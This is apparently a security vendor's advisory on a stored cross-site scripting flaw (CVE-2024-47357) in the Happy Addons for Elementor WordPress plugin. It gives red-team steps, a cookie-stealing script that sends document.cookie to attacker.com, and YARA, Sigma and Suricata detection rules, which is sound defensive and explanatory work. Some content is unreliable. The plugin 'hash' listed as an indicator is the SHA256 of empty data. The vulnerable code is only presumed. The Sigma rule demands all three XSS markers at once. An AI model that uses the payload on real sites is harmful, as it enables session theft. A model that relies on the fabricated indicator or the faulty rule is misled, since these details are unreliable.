CVE-2024-47357

Executive Summary

CVE-2024-47357 is a Stored Cross-Site Scripting (XSS) vulnerability in the Happy Addons for Elementor WordPress plugin, developed by Leevio (HappyMonster). The vulnerability affects all versions up to and including 3.12.0. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user input during web page generation. As of this report, no official patch has been released, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (Admin must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the requirement for authenticated access and user interaction. However, the potential for stored XSS in a widely-used plugin like Happy Addons for Elementor increases the risk, especially in multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the Happy Addons for Elementor plugin, which extends the Elementor page builder with additional widgets. The plugin fails to properly sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it in the browser. Specifically, the vulnerability is located in the widget rendering logic where user-controlled attributes (e.g., widget settings, custom CSS, or HTML fields) are output without adequate escaping.

An attacker with contributor-level access can create or edit a page/post using Elementor and insert a malicious payload into a vulnerable widget field (e.g., a text field, URL field, or custom attribute). When the page is saved, the payload is stored in the database. When an administrator or other user views the page, the payload executes in the context of the victim's browser.

The attack flow:

1. Attacker logs in as a contributor.
2. Attacker creates a new page or edits an existing one using Elementor.
3. Attacker adds a Happy Addons widget (e.g., "Image Comparison", "Price Table", etc.).
4. Attacker injects a JavaScript payload into a vulnerable input field (e.g., <img src=x onerror=alert(1)>).
5. Attacker publishes the page.
6. Administrator visits the page.
7. The payload executes, stealing cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the widget rendering functions. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (PHP):

echo '<div class="happy-addon-widget">' . $instance['title'] . '</div>';

Patched Code (PHP):

echo '<div class="happy-addon-widget">' . esc_html( $instance['title'] ) . '</div>';

The fix involves using WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Happy Addons for Elementor <= 3.12.0 installed and activated.
• Contributor-level account credentials.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Add a Happy Addons widget (e.g., "Image Comparison").
5. In the widget settings, locate a text field (e.g., "Title" or "Description").
6. Inject the following payload:

   <img src=x onerror=alert('XSS')>
   

7. Save and publish the page.
8. Log in as an administrator and visit the page.
9. Observe the JavaScript alert box.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual widget content in page/post revisions.
• Look for JavaScript payloads in custom fields or widget settings.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Mitigation:

• Disable the Happy Addons plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (Plugin):
  • happy-elementor-addons.zip (version 3.12.0): SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Database Entries:
  • wp_postmeta entries containing happy-elementor-addons widget data with suspicious JavaScript.
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• Logs:
  • WordPress debug log entries showing unescaped output in widget rendering.

Detection Engineering

YARA Rule

rule CVE_2024_47357_Happy_Addons_XSS {
    meta:
        description = "Detects stored XSS payloads in Happy Addons for Elementor widget data"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47357"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_payload_3 = /onload\s*=\s*["']?[^"']*["']?/i
        $widget_data = "happy-elementor-addons"
    condition:
        any of ($xss_payload_*) and $widget_data
}

Sigma Rule

title: Stored XSS in Happy Addons for Elementor
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Happy Addons for Elementor widget fields
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-json/elementor/v1"
        http.body|contains: "happy-elementor-addons"
        http.body|contains|all:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47357 Happy Addons for Elementor Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/elementor/v1"; http_uri; content:"happy-elementor-addons"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any existing pages/posts created with Happy Addons for stored XSS payloads.
3. Restrict user roles – only grant contributor access to trusted users.
4. Implement Web Application Firewall (WAF) rules to block XSS patterns.

Long-term Fix:

• Monitor the plugin's official page for a security update (version > 3.12.0).
• Apply the patch as soon as it becomes available.
• Consider using alternative Elementor addon plugins with better security track records.

General Best Practices:

• Regularly update all WordPress plugins and themes.
• Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.
• Enforce Content Security Policy (CSP) headers to mitigate the impact of XSS.

Valters IT
Securing Digital Frontiers